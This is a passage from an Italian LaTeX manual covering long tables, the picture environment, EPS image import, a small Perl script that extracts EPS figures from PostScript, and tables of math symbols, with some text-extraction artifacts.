                                         bla bla \\
oro             & 5 \%  &              &       \\
\cline{2-4}
                & 2 \%  &              &       \\
                & 1 \%  &              &       \\
\hline
\end{tabular}
```

In pratica, '`\cline{1-3}`' genera una linea orizzontale che parte dall'inizio della prima colonna, fino alla fine della terza colonna; nello stesso modo, '`\cline{2-4}`' genera una linea dalla seconda colonna fino alla quarta inclusa:[4]

Colore	Numero		
nero	0	zero	
marrone	1	uno	
rosso	2	due	
arancio	3	tre	
giallo	4	quattro	
verde	5	cinque	
blu	6	sei	
viola	7	sette	
grigio	8	otto	
bianco	9	nove	
argento	10 %		bla bla bla bla bla bla bla bla bla bla bla
oro	5 %		
	2 %		
	1 %		

62.11.3 Tabella a cavallo di più pagine

L'ambiente '`tabular`' genera un blocco che non può essere diviso tra le pagine; per ottenere una tabella che può continuare nelle pagine successive, si può usare l'ambiente '`longtable`', che però richiede un pacchetto esterno con lo stesso nome. Il funzionamento generale dell'ambiente '`longtable`' è molto simile a quello di '`tabular`', con l'aggiunta di qualche comando che consente di individuare un'intestazione e un piede da ripetere quando la tabella si interrompe e riprende nella pagina successiva:

Comando	Descrizione
`\usepackage{longtable}`	dichiara l'utilizzo del pacchetto necessario alla gestione delle tabelle «lunghe»;

`\begin{longtable}{`*descrizione_colonne*`}`
...
`\end{longtable}`
	dichiara l'ambiente di una tabella lunga;

`\endhead`	dichiara la fine delle righe da usare come intestazione;
`\endfoot`	dichiara la fine delle righe da usare alla base della tabella.

In generale, una volta dichiarato l'ambiente, si inseriscono le righe da usare come intestazione e subito dopo quelle da usare alla base della tabella; infine si inseriscono le righe del corpo della tabella.

Per il funzionamento dell'ambiente '`longtable`' non è indispensabile individuare delle righe di intestazione e di conclusione della tabella; tuttavia, per ottenere un risultato gradevole al cambio pagina, conviene sfruttare questa caratteristica.

L'esempio seguente è solo una piccola variante di un altro già apparso a proposito dell'ambiente '`tabular`'. Si osservi in particolare l'uso dei comandi '`\endhead`' e

‘**\endfoot**’:

```
…
\usepackage{longtable}
…
\begin{document}
…
\begin{longtable}{|p{0.2\textwidth}|p{0.1\textwidth}p{0.2\textwidth}|p{0.3\textwidth}|}
\hline
Colore          & Numero        &         &       \\
\hline
\endhead
\hline
\endfoot
nero            & 0     & zero            &       \\
marrone         & 1     & uno             &       \\
…
                & 1 \%  &                 &       \\
\end{longtable}
```

Come si vede nell’esempio, ciò che viene messo alla base della tabella è semplicemente un comando ‘**\hline**’, per ottenere una linea orizzontale quando la tabella si interrompe; così facendo, alla fine della tabella non viene aggiunto un comando ‘**\hline**’, perché altrimenti i due si sommerebbero:

Colore	Numero		
nero	0	zero	
marrone	1	uno	
rosso	2	due	
arancio	3	tre	
giallo	4	quattro	
verde	5	cinque	
blu	6	sei	
viola	7	sette	
grigio	8	otto	
bianco	9	nove	
argento	10 %		bla bla bla bla bla bla bla bla bla bla bla
oro	5 %		
	2 %		
	1 %		

Le tabelle ottenute con l’ambiente ‘**longtable**’ hanno degli inconvenienti. Quello più appariscente riguarda l’incapacità di tenere in considerazione le note a piè di pagina, le quali vengono tranquillamente sovrascritte da una tabella che scorre anche sulla pagina successiva.

62.12 LaTeX: figure

Esistono diversi modi di realizzare dei disegni o di importare delle immagini esterne con LaTeX. Probabilmente, la tecnica più comune è quella di incorporare un'immagine o un disegno realizzato con strumenti interattivi esterni, ma è comunque importante conoscere più possibilità a disposizione, anche se non nel dettaglio.

62.12.1 Disegnare con LaTeX

LaTeX offre un ambiente particolare, '**picture**', nel quale è possibile realizzare dei disegni utilizzando eventualmente dei comandi specifici. In generale, si tratta soprattutto di grafici, che contengono anche del testo collocato in modo preciso. L'esempio seguente serve per dare un punto di riferimento visivo alla descrizione che viene fatta successivamente a proposito di questo ambiente:

```
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

\setlength{\unitlength}{1cm}
\begin{picture}(3,2)(0,0)
\put(0,0){0,0}
\put(0,0){\line(1,0){3}}
\put(0,2){\line(1,0){3}}
\put(0,0){\line(0,1){2}}
\put(3,0){\line(0,1){2}}
\put(3,2){3,2}
\end{picture}

bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
```

Ecco il risultato della composizione. Il testo prima e dopo la figura, serve a comprendere in che modo LaTeX la allinea e quanto viene spaziata verticalmente:

bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla 3,2

0,0

bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

L'ambiente '**picture**' viene dichiarato in modo insolito rispetto agli altri comandi di LaTeX:

```
\setlength{\unitlength}{dimensione}

...

\begin{picture}(ampiezza,altezza)(coordinata_iniziale_x,coordinata_iniziale_y)
    \put(coordinata_x,coordinata_y){oggetto}
    ...
    ...
\end{picture}
```

In pratica, da qualche parte del documento, prima dell'uso dell'ambiente '**`picture`**', occorre assegnare un valore (non elastico) alla lunghezza '**`\unitlength`**'; questa lunghezza diventa poi l'unità di misura delle lunghezze e delle coordinate usate nell'ambito dell'ambiente '**`picture`**'. Naturalmente, il valore di '**`\unitlength`**' può essere cambiato successivamente, prima di altre figure.

Come si può vedere, l'ambiente '**`picture`**' utilizza degli argomenti tra parentesi tonde, che non si trovano altrimenti in LaTeX, ma la cosa più interessante è che la seconda parentesi tonda è facoltativa.[5]

La prima coppia di numeri tra parentesi tonde serve a delimitare un rettangolo ideale, all'interno del quale si intende collocare la figura. Nel caso dell'esempio, dal momento che '**`\unitlength`**' è di 1 cm, si tratta di un rettangolo largo 3 cm e alto 2 cm. La seconda coppia di numeri, opzionale, specifica le coordinate dell'angolo inferiore sinistro. Di solito si assegna a queste coordinate il valore zero, come si vede nell'esempio.

Gli «oggetti» grafici o testuali che vengono piazzati nella figura possono anche essere collocati al di fuori del rettangolo che la dovrebbe contenere, ma ovviamente, in tal modo viene meno il senso della definizione all'inizio dell'ambiente '**`picture`**'.

Tutto ciò che appare all'interno dell'ambiente '**`picture`**' viene inserito tramite il comando '**`\put`**', dove, sempre tra parentesi quadre, si individuano le coordinate iniziali di un oggetto da collocare. Queste coordinata iniziali si intendono sempre relative alle coordinate iniziali del rettangolo in cui si colloca la figura.

L'esempio introduttivo, mostra un riquadro, disegnato sul bordo esterno del rettangolo che rappresenta l'area della figura. Inoltre, vengono collocate due etichette testuali, a partire dall'angolo inferiore sinistro di questo rettangolo e a partire dall'angolo superiore destro, per consentire di comprendere in che modo viene collocato il testo. In effetti, si può vedere che quanto scritto a partire dall'angolo superiore destro si trova in pratica al di fuori del rettangolo della figura.

All'interno del controllo di '**`\put`**' possono essere usati diversi comandi specifici, con i quali si realizzano facilmente linee, riquadri, ovali e cerchi. Viene mostrato un elenco parziale di questi.

<table>
<tr><th>Comando</th><th>Descrizione</th></tr>
<tr><td>\circle*{diametro}</td><td>Disegna un cerchio con centro nelle coordinate iniziali, del diametro indicato, espresso in quantità di ‘\unitlength’. Se si usa l’asterisco, si ottiene un cerchio pieno (nero).</td></tr>
<tr><td>\dashbox{lunghezza_del_tratteggio}(ampiezza,altezza)↩
↪[t|l|b|r|tl|bl|br|tr]{testo}</td><td>Disegna un rettangolo tratteggiato, con le coordinate iniziali corrispondenti all’angolo inferiore sinistro. L’ampiezza e l’altezza sono numeri che esprimono quantità di ‘\unitlength’. All’interno del rettangolo si può collocare del testo, contenuto nell’ultimo argomento, che di solito appare al centro, salvo il suo riposizionamento con l’uso di lettere particolari nell’argomento opzionale tra parentesi quadre.</td></tr>
<tr><td>\makebox(ampiezza,altezza)[t|l|b|r|tl|bl↩
↪|br|tr]{testo}</td><td>Delimita un rettangolo, senza bordo, con le coordinate iniziali corrispondenti all’angolo inferiore sinistro. L’ampiezza e l’altezza sono numeri che esprimono quantità di ‘\unitlength’. All’interno del rettangolo si può collocare del testo, contenuto nell’ultimo argomento, che di solito appare al centro, salvo il suo riposizionamento con l’uso di lettere particolari nell’argomento opzionale tra parentesi quadre.</td></tr>
<tr><td>\frame{oggetto}</td><td>Disegna una cornice attorno all’oggetto, senza aggiungere altro spazio.</td></tr>
<tr><td>\line(scostamento_x,scostamento_y){lunghezza}</td><td>Disegna una linea a partire dalle coordinate iniziali, passante idealmente nelle coordinate descritte tra parentesi tonde, come valore che va a sommarsi alle coordinate iniziali. Questo punto passante può essere indicato solo con valori interi, da zero a sei, e serve in pratica a descrivere l’inclinazione della linea.</td></tr>
<tr><td>\vector(scostamento_x,scostamento_y){lunghezza}</td><td>Disegna una linea, come il comando ‘\line’, aggiungendo una freccia all’estremità finale.</td></tr>
<tr><td>\oval(ampiezza,altezza)[t|l|b|r|tl|bl|br|tr]</td><td>Disegna un ovale, oppure, se molto grande, un rettangolo smussato. Le lettere tra parentesi quadre, opzionali, consentono di mostrare solo una porzione dell’ovale.</td></tr>
<tr><td>\linethickness{lunghezza}</td><td>Consente di fissare lo spessore delle linee diritte generate da alcuni comandi. È importante osservare che la lunghezza della linea deve essere un valore positivo, espresso in modo indipendente da ‘\unitlength’.</td></tr>
</table>

Viene mostrato un esempio complessivo dei comandi descritti (escluso '**`\linethickness`**'):

```
\setlength{\unitlength}{1cm}
\begin{picture}(9,6)(0,0)
\put(0,0){\frame{\makebox(9,6){}}}
\put(1,1){\frame{tizio}}
\put(4,3){\dashbox{0.1}(1,0.5){caio}}
\put(4,3){\line(-3,-2){2.6}}
\put(4.5,3){\vector(0,-1){1}}
\put(4.5,1.5){\circle{1}}
\put(7,1.5){\oval(2,1)}
\put(5,1.5){\line(1,0){1}}
\end{picture}
```

caio

tizio

Come si intende, la realizzazione di disegni attraverso l'ambiente '**`picture`**', può risultare impegnativo, quando il disegno diventa complesso. Tuttavia esiste la possibilità di usare XFig (sezione 32.6.4), che è in grado di esportare i propri disegni in formato LaTeX, con le limitazioni grafiche necessarie. A titolo di esempio, si suppone di avere realizzato il file FIG '`disegno.fig`', corrispondente a ciò che si può vedere sotto:

sdlfaldfjaòsdfjòsdfj

Per trasformare questo file in codice adatto a un sorgente LaTeX si può usare '**`fig2dev`**' nel modo seguente, allo scopo di generare il file '`disegno.tex`':

$ **`fig2dev -L latex disegno.fig disegno.tex`**[*Invio*]

Il file che si ottiene è piuttosto complesso e probabilmente qualche comando non viene individuato correttamente da LaTeX. Per ovviare all'inconveniente, dovrebbe essere sufficiente

eliminare i comandi che creano dei problemi. In generale dovrebbe trattarsi del comando '**`\color`**':

```
$ cat disegno.tex | sed "s/[\]color\\[rgb\\][{][0-9,]*[}]//" ↩
↪                    > disegno_2.tex [Invio]
```

Ecco cosa si ottiene alla fine, con la composizione LaTeX:

sdlfaldfja[U+FFFD]j[U+FFFD]j

62.12.2 Importazione di file EPS esterni

Un modo più semplice di inserire delle immagini nel testo realizzato con LaTeX è quello di incorporare delle immagini esterne attraverso il pacchetto '**`epsfig`**', il quale si incorpora con il comando seguente, inserito preferibilmente nel preambolo:

```
\usepackage{epsfig}
```

Successivamente è possibile usare il comando '**`\epsfig`**' per fare riferimento a un file EPS (*Encapsulated PostScript*) da inserire nella composizione finale. Semplificando si può indicare come nel modello sintattico seguente:

```
\epsfig{file=file_eps,height=altezza,width=larghezza,angle=rotazione}
```

Il file rappresenta il percorso assoluto o relativo di un file EPS (oppure PostScript), ma senza estensione: il pacchetto '**`epsfig`**' si attende di trovarlo con l'estensione '`.ps`'. La larghezza e l'altezza vengono espresse nell'unità di misura desiderata; infine, l'angolo di rotazione permette di girare l'immagine, ma di solito si lascia il valore zero.

Non tutte le informazioni sono necessarie; per esempio, se si omettono le informazioni su altezza e larghezza, si fa riferimento alle dimensioni originali; nello stesso modo, se si mette solo la larghezza, si ottiene un'altezza proporzionale. In pratica, si individuano delle opzioni separate da virgole che possono essere omesse.

L'uso del pacchetto '**`epsfig`**' è compatibile con pdfLaTeX, il quale invece incorpora immagini in formato PNG. Questi file vengono cercati nello stesso percorso, ma con estensione '`.png`'.

In alternativa esiste anche un altro pacchetto adatto all'inserimento di immagini EPS. Si tratta di '**`graphicx`**' che si incorpora con il comando seguente inserito nel preambolo del sorgente LaTeX:

```
\usepackage{graphicx}
```

Successivamente si può usare il comando '**\includegraphics**':

```
\includegraphics[width=larghezza,height=altezza,scale=scala,angle=rotazione]{file_eps}
```

A differenza di quanto visto con '**\epsfig**', c'è anche la possibilità di definire una scala, attraverso un valore, dove l'unità rappresenta un rapporto pari al 100 %.

Con '**\includegraphics**' esiste anche una differenza più importante rispetto a '**\epsfig**': è necessario indicare anche l'estensione del file, la quale non è più determinata automaticamente. In questo modo, se si intende usare pdfLaTeX, è necessario fare riferimento a formati grafici differenti, cambiando di conseguenza l'estensione.

62.12.3 Estrazione di file EPS dal file PostScript finale

All'interno di un file PostScript, generato attraverso LaTeX e Dvips, le immagini inserite incorporando file EPS, come descritto nella sezione precedente, sono delimitate da due direttive molto precise:

```
%%BeginDocument: nome_file
codice_eps_della_figura
%%EndDocument
```

Sapendo questo, è possibile recuperare le immagini da un file PostScript di questo tipo attraverso un procedimento manuale, o automatico. Quello che segue è un piccolo programma Perl che legge dallo standard input il file PostScript e crea tutti i file che trova dichiarati come appena descritto:

```
#!/usr/bin/perl
#
my ($line)    = "";
my ($picture) = "";
my ($save)    = 0;
#
while ($line = <STDIN>)
  {
    if    ($line =~ m/^\%\%BeginDocument: (\S+)$/)
      {
        $save = 1;
        $picture = $1;
        open (PICTURE, "> $picture");
      }
    elsif ($line =~ m/^\%\%EndDocument$/)
```

```
        {
          close (PICTURE);
          $picture = "";
          $save = 0;
        }
      else
        {
          if ($save)
            {
              print PICTURE ("$line");
            }
        }
    }
```

Supponendo che questo programma sia stato salvato nel file '`ps-latex-picture-save`' e che sia stato reso eseguibile, si potrebbe usare come nell'esempio seguente:

$ **`ps-latex-picture-save < mio_file.ps`** [*Invio*]

Si osservi che questo procedimento può funzionare solo se il file PostScript di partenza è stato ottenuto direttamente da Dvips, tenendo conto che non ci devono essere state delle rielaborazioni successive, altrimenti si perdono i riferimenti descritti.

62.13 Ambienti matematici

Come avviene per TeX, anche LaTeX distingue una modalità di composizione normale, da una modalità matematica. A differenza di TeX, esistono degli ambienti speciali per la dichiarazione della modalità matematica, ma è ancora ammissibile l'uso del simbolo '**`$`**' e di '**`$$`**' per individuare l'inizio e la fine degli ambienti matematici.

Molto di quanto già descritto a proposito di TeX (sezione 61.16), vale ovviamente anche per la composizione matematica di LaTeX. Pertanto, alcuni dettagli non vengono descritti nuovamente.

Si tenga presente che la gestione degli ambienti matematici potrebbe essere ancora più raffinata con l'utilizzo del pacchetto '**`amsmath`**' ('**`\usepackage{amsmath}`**').

62.13.1 Definizione della modalità matematica

La modalità matematica si può definire con LaTeX in diversi modi. Anche con LaTeX si distingue se la composizione matematica vada inserita nell'ambito del testo normale, oppure in un blocco indipendente. L'elenco seguente riepiloga le istruzioni necessarie a delimitare gli ambienti matematici:

Comando	Descrizione

`\begin{math}`***testo_matematico***`\end{math}`
 	
`\(`***testo_matematico***`\)`
 	
`$`***testo_matematico***`$`
	compone il testo matematico nel blocco già esistente;

`\begin{displaymath}`***testo_matematico***`\end{displaymath}`
 	
`\[`***testo_matematico***`\]`
 	
`$$`***testo_matematico***`$$`
	compone il testo matematico in un blocco separato;

`\begin{equation}`***testo_matematico***`\end{equation}`	compone il testo matematico in un blocco separato, annotando sul bordo il numero dell'equazione.

Come si vede dall'elenco, vengono offerte delle alternative per ottenere lo stesso tipo di ambiente. Vengono mostrati due esempi molto semplici, già apparsi nel capitolo riferito a TeX, che riguardano l'inserimento di una formula nel testo normale e la sua separazione in un blocco a sé stante:

```
Se $R$ è il ritardo di ogni singola consegna, $T$
è il tempo a disposizione per la consegna, $I$ è il valore
della merce, il ritardo medio si esprime come
\begin{math}{\sum {R \over T} \cdot I}\over{\sum I}\end{math}.
```

Se R [U+FFFD] ritardo di ogni singola consegna, T [U+FFFD] tempo a disposizione per la consegna, I [U+FFFD] valore della merce, il ritardo medio si esprime come $\frac{\sum \frac{R}{T} \cdot I}{\sum I}$.

```
Se $R$ è il ritardo di ogni singola consegna, $T$
è il tempo a disposizione per la consegna, $I$ è il valore
della merce, il ritardo medio si esprime secondo la formula
seguente:

\begin{displaymath}{\sum {R \over T} \cdot I}\over{\sum I}\end{displaymath}
```

Se R [U+FFFD] ritardo di ogni singola consegna, T [U+FFFD] tempo a disposizione per la consegna, I [U+FFFD] valore della merce, il ritardo medio si esprime secondo la formula seguente:

$$\frac{\sum \frac{R}{T} \cdot I}{\sum I}$$

A parte le situazioni normali, merita attenzione l'ambiente '**`equation`**', con il quale si può inserire un'equazione in un blocco separato, al quale si può fare riferimento tramite un'etichetta. Si osservi l'esempio:

```
L'equazione \ref{ritardo-medio} mostra in che modo si calcola il ritardo
medio, dove $R$ è il ritardo di ogni singola consegna, $T$ è il tempo a
disposizione per la consegna e $I$ è il valore della merce.

\begin{equation}\label{ritardo-medio}
{\sum {R \over T} \cdot I}\over{\sum I}
\end{equation}
```

L'equazione 1 mostra in che modo si calcola il ritardo medio, dove R [U+FFFD] ritardo di ogni singola consegna, T [U+FFFD] tempo a disposizione per la consegna e I [U+FFFD] valore della merce.

$$\frac{\sum \frac{R}{T} \cdot I}{\sum I} \tag{1}$$

62.13.2 Spazi orizzontali e punteggiatura

LaTeX si comporta nello stesso modo di TeX a proposito della spaziatura orizzontale negli ambienti matematici. In pratica, gli spazi orizzontali vengono ignorati, a meno che si usino comandi appositi per inserirli:

Sequenza	Significato
`\qquad`	Due quadratoni.
`\quad`	Un quadratone.
\<SP>	Uno spazio «normale».
`$\;$`	Uno spazio spesso (5/8 di quadratone).
`$\>$`	Uno spazio medio (2/9 di quadratone).
`$\.$`	Uno spazio molto sottile (1/6 di quadratone).
`$\!$`	Uno spazio negativo (−1/6 di quadratone).

Per inserire del testo descrittivo all'interno di un ambiente matematico, lo si può delimitare in una scatola orizzontale, con il comando '**`\makebox`**', o più semplicemente con '**`\mbox`**':

```
$prima durante e dopo$\par
$prima \mbox{ durante } e dopo$\par
```

Come si può intendere, si vuole isolare e spaziare la parola «durante» rispetto al resto, mostrandola con caratteri normali.

primaduranteedopo
prima durante *edopo*

Anche la spaziatura attorno ai simboli di punteggiatura funziona esattamente come con TeX puro e semplice. L'esempio seguente riassume i casi principali:

```
$123456.7890$\par
$123456,7890$\par
$123456{,}7890$\par
$123456;7890$\par
$123456:7890$\par
$123456:=7890$\par
$123456\colon 7890$\par
```

123456.7890
$123456,7890$
$123456{,}7890$
$123456;7890$
$123456:7890$
$123456:=7890$
$123456\colon 7890$

62.13.3 Caratteri e simboli

LaTeX è più ricco di simboli rispetto a TeX, se si utilizza il pacchetto '**latexsym**':

```
\usepackage{latexsym}
```

Le tabelle che seguono riepilogano i simboli a disposizione, inclusi quelli provenienti dal pacchetto '**latexsym**'.

Tabella 62.281. Accenti nell'ambiente matematico.

Simbolo	Codice	Annotazioni
$\acute o$	$\acute o$	Accento acuto matematico.
$\grave o$	$\grave o$	Accento grave matematico.
$\hat o$	$\hat o$	Accento circonflesso matematico.
$\ddot o$	$\ddot o$	
$\tilde o$	$\tilde o$	
$\bar o$	$\bar o$	
$\dot o$	$\dot o$	
$\breve o$	$\breve o$	
$\check o$	$\check o$	
$\vec o$	$\vec o$	
$\imath$	$\imath$	Da usare per aggiungere un accento.
$\jmath$	$\jmath$	Da usare per aggiungere un accento.
$\widehat{abc}$	$\widehat{abc}$	
$\widetilde{abc}$	$\widetilde{abc}$	

Tabella 62.282. Lettere greche.

Simbolo	Codice	Simbolo	Codice	Simbolo	Codice	Nome
α	α			A	\textrm{A}	Alfa
β	β			B	\textrm{B}	Beta
γ	γ			Γ	Γ	Gamma
δ	δ			Δ	Δ	Delta
ϵ	ϵ	ε	ε	E	\textrm{E}	Epsilon
ζ	ζ			Z	\textrm{Z}	Zeta
η	η			H	\textrm{H}	Eta
θ	θ	ϑ	ϑ	Θ	Θ	Theta
ι	ι			I	\textrm{I}	Iota
κ	κ			K	\textrm{K}	Kappa
λ	λ			Λ	Λ	Lambda
μ	μ			M	\textrm{M}	Mu
ν	ν			N	\textrm{N}	Nu
ξ	ξ			Ξ	Ξ	Xi
o	\textrm{o}	o	o	O	\textrm{O}	Omicron
π	π	ϖ	ϖ	Π	Π	Pi
ρ	ρ	ϱ	ϱ	P	\textrm{P}	Rho
σ	σ	ς	ς	Σ	Σ	Sigma
τ	τ			T	\textrm{T}	Tau
υ	υ			Υ	Υ	Upsilon
ϕ	ϕ	φ	φ	Φ	Φ	Phi
χ	χ			X	\textrm{X}	Chi
ψ	ψ			Ψ	Ψ	Psi
ω	ω			Ω	Ω	Omega

Tabella 62.283. Simboli matematici comuni.

<table>
<tr><th>Simbolo</th><th>Codice</th><th>Annotazioni</th></tr>
<tr><td>$\backslash$</td><td>$\backslash$</td><td>Barra obliqua inversa.</td></tr>
<tr><td>$\aleph$</td><td>$\aleph$</td><td></td></tr>
<tr><td>$\hbar$</td><td>$\hbar$</td><td></td></tr>
<tr><td>ℓ</td><td>ℓ</td><td></td></tr>
<tr><td>$\wp$</td><td>$\wp$</td><td></td></tr>
<tr><td>$\Re$</td><td>$\Re$</td><td></td></tr>
<tr><td>$\Im$</td><td>$\Im$</td><td></td></tr>
<tr><td>∂</td><td>∂</td><td>Derivata parziale.</td></tr>
<tr><td>∞</td><td>∞</td><td>Infinito.</td></tr>
<tr><td>$\prime$</td><td>$\prime$</td><td>Primo.</td></tr>
<tr><td>$'$</td><td>$’$</td><td></td></tr>
<tr><td>$\emptyset$</td><td>$\emptyset$</td><td></td></tr>
<tr><td>∇</td><td>∇</td><td></td></tr>
<tr><td>$\top$</td><td>$\top$</td><td></td></tr>
<tr><td>$\bot$</td><td>$\bot$</td><td></td></tr>
<tr><td>$\vert$</td><td>$|$</td><td></td></tr>
<tr><td>$\vert$</td><td>$\vert$</td><td>Equivalente a $|$.</td></tr>
<tr><td>$\Vert$</td><td>$\|$</td><td></td></tr>
<tr><td>$\Vert$</td><td>$\vert$</td><td>Equivalente a $\|$.</td></tr>
<tr><td>$\angle$</td><td>$\alngle$</td><td></td></tr>
<tr><td>$\triangle$</td><td>$\triangle$</td><td></td></tr>
<tr><td>$\forall$</td><td>$\forall$</td><td></td></tr>
<tr><td>$\exists$</td><td>$\exists$</td><td></td></tr>
<tr><td>$\neg$</td><td>$\neg$</td><td>Equivalente a $\lnot$.</td></tr>
<tr><td>$\flat$</td><td>$\flat$</td><td></td></tr>
<tr><td>$\natural$</td><td>$\natural$</td><td></td></tr>
<tr><td>$\sharp$</td><td>$\sharp$</td><td></td></tr>
<tr><td>$\surd$</td><td>$\surd$</td><td>Radice senza la linea superiore.</td></tr>
<tr><td>$\clubsuit$</td><td>$\clubsuit$</td><td>Fiori.</td></tr>
<tr><td>$\diamondsuit$</td><td>$\diamondsuit$</td><td>Quadri.</td></tr>
<tr><td>$\heartsuit$</td><td>$\heartsuit$</td><td>Cuori.</td></tr>
<tr><td>$\spadesuit$</td><td>$\spadesuit$</td><td>Picche.</td></tr>
<tr><td>$\mho$</td><td>$\mho$</td><td>Richiede il pacchetto `latexsym`.</td></tr>
<tr><td>$\Box$</td><td>$\Box$</td><td>”</td></tr>
<tr><td>$\Diamond$</td><td>$\Diamond$</td><td>”</td></tr>
</table>

Tabella 62.284. Operatori binari comuni.

Simbolo	Codice	Annotazioni
$\pm$	`$\pm$`	Più o meno.
$\mp$	`$\mp$`	Meno o più.
$\cdot$	`$\cdot$`	
$\setminus$	`$\setminus$`	
$+$	`$+$`	Somma.
$-$	`$-$`	Sottrazione.
$\times$	`$\times$`	Moltiplicazione.
$\div$	`$\div$`	Divisione.
	`$\*$`	Moltiplicazione discrezionale.
$\ast$	`$\ast$`	Asterisco.
$\star$	`$\star$`	Stella.
$\diamond$	`$\diamond$`	
$\circ$	`$\circ$`	
$\bullet$	`$\bullet$`	
$\cap$	`$\cap$`	Intersezione.
$\cup$	`$\cup$`	Unione.
$\uplus$	`$\uplus$`	
$\sqcap$	`$\sqcap$`	
$\sqcup$	`$\sqcup$`	
$\triangleleft$	`$\triangleleft$`	
$\triangleright$	`$\triangleright$`	
$\wr$	`$\wr$`	
$\bigcirc$	`$\bigcirc$`	
$\bigtriangleup$	`$\bigtriangleup$`	
$\bigtriangledown$	`$\bigtriangledown$`	
$\vee$	`$\vee$`	
$\lor$	`$\lor$`	OR logico (uguale a `$\vee$`).
$\wedge$	`$\wedge$`	
$\land$	`$\land$`	AND logico (uguale a `$\wedge$`).
$\oplus$	`$\oplus$`	
$\ominus$	`$\ominus$`	
$\otimes$	`$\otimes$`	
$\oslash$	`$\oslash$`	
$\odot$	`$\odot$`	
$\dagger$	`$\dagger$`	
$\ddagger$	`$\ddagger$`	
$\amalg$	`$\amalg$`	
$\lhd$	`$\lhd$`	Richiede il pacchetto `latexsym`.
$\rhd$	`$\rhd$`	”
$\unlhd$	`$\unlhd$`	”
$\unrhd$	`$\unrhd$`	”

Tabella 62.285. Operatori di relazione.

Simbolo	Codice	Simbolo	Codice
$=$	$=$	$\not=$	$\not =$
		$\neq$	$\neq$
		$\ne$	$\ne$
$\equiv$	$\equiv$	$\not\equiv$	$\not \equiv$
$\sim$	$\sim$	$\not\sim$	$\not \sim$
$\simeq$	$\simeq$	$\not\simeq$	$\not \simeq$
$\approx$	$\approx$	$\not\approx$	$\not \approx$
$\cong$	$\cong$	$\not\cong$	$\not \cong$
$\asymp$	$\asymp$	$\not\asymp$	$\not \asymp$
$\bowtie$	$\bowtie$		
$\doteq$	$\doteq$		
$\parallel$	$\parallel$		
$\perp$	$\perp$	$\not\perp$	$\not \perp$
$<$	$<$	$\not<$	$\not <$
$\leq$	$\leq$	$\not\leq$	$\not \leq$
$\le$	$\le$	$\not\le$	$\not \le$
$>$	$>$	$\not>$	$\not >$
$\geq$	$\geq$	$\not\geq$	$\not \geq$
$\ge$	$\ge$	$\not\ge$	$\not \ge$
$\prec$	$\prec$	$\not\prec$	$\not \prec$
$\preceq$	$\preceq$	$\not\preceq$	$\not \preceq$
$\succ$	$\succ$	$\not\succ$	$\not \succ$
$\succeq$	$\succeq$	$\not\succeq$	$\not \succeq$
$\ll$	$\ll$		
$\gg$	$\gg$		
$\subset$	$\subset$	$\not\subset$	$\not \subset$
$\subseteq$	$\subseteq$	$\not\subseteq$	$\not \subseteq$
$\supset$	$\supset$	$\not\supset$	$\not \supset$
$\supseteq$	$\supseteq$	$\not\supseteq$	$\not \supseteq$
$\sqsubseteq$	$\sqsubseteq$	$\not\sqsubseteq$	$\not \sqsubseteq$
$\sqsupseteq$	$\sqsupseteq$	$\not\sqsupseteq$	$\not \sqsupseteq$
$\mid$	$\mid$		
$\smile$	$\smile$		
$\frown$	$\frown$		
$\in$	$\in$	$\not\in$	$\not \in$
$\ni$	$\ni$	$\not\ni$	$\not \ni$
$\owns$	$\owns$	$\not\owns$	$\not \owns$
$\vdash$	$\vdash$		
$\dashv$	$\dashv$		
$\models$	$\models$		
$\propto$	$\propto$		
$\sqsubset$	$\sqsubset$	$\not\sqsubset$	$\not \sqsubset$
$\sqsupset$	$\sqsupset$	$\not\sqsupset$	$\not \sqsupset$
$\Join$	$\Join$		

Tabella 62.286. Frecce.

Simbolo	Codice	Simbolo	Codice
$\leftarrow$	`$\leftarrow$`	$\rightarrow$	`$\rightarrow$`
$\gets$	`$\gets$`	$\to$	`$\to$`
$\Leftarrow$	`$\Leftarrow$`	$\Rightarrow$	`$\Rightarrow$`
$\longleftarrow$	`$\longleftarrow$`	$\longrightarrow$	`$\longrightarrow$`
$\Longleftarrow$	`$\Longleftarrow$`	$\Longrightarrow$	`$\Longrightarrow$`
$\hookleftarrow$	`$\hookleftarrow$`	$\hookrightarrow$	`$\hookrightarrow$`
$\leftharpoonup$	`$\leftharpoonup$`	$\rightharpoonup$	`$\rightharpoonup$`
$\leftharpoondown$	`$\leftharpoondown$`	$\rightharpoondown$	`$\rightharpoondown$`
$\rightleftharpoons$	`$\rightleftharpoons$`		
$\iff$	`$\iff$`		
$\mapsto$	`$\mapsto$`		
$\longmapsto$	`$\longmapsto$`		
$\leftrightarrow$	`$\leftrightarrow$`	$\Leftrightarrow$	`$\Leftrightarrow$`
$\longleftrightarrow$	`$\longleftrightarrow$`	$\Longleftrightarrow$	`$\Longleftrightarrow$`
$\uparrow$	`$\uparrow$`	$\downarrow$	`$\downarrow$`
$\Uparrow$	`$\Uparrow$`	$\Downarrow$	`$\Downarrow$`
$\updownarrow$	`$\updownarrow$`	$\Updownarrow$	`$\Updownarrow$`
$\nwarrow$	`$\nwarrow$`	$\nearrow$	`$\nearrow$`
$\swarrow$	`$\swarrow$`	$\searrow$	`$\searrow$`
$\overleftarrow{ab}$	`$\overleftarrow {ab}$`	$\overrightarrow{ab}$	`$\overrightarrow {ab}$`
$\vec{ab}$	`$\vec {ab}$`		
$\leadsto$	`$\leadsto$`		

Tabella 62.287. Ellissi.

Simbolo	Codice	Annotazioni
$\cdots$	`$\cdots$`	Ellissi orizzontale al centro.
$\ldots$	`$\ldots$`	Ellissi orizzontale in basso.
$\vdots$	`$\vdots$`	Ellissi verticale.
$\ddots$	`$\ddots$`	Ellissi diagonale.

Tabella 62.288. Altri simboli matematici.

Simbolo	Codice	Annotazioni
$\sum$	`$\sum$`	Sommatoria.
$\prod$	`$\prod$`	
$\coprod$	`$\coprod$`	
$\int$	`$\int$`	Integrale.
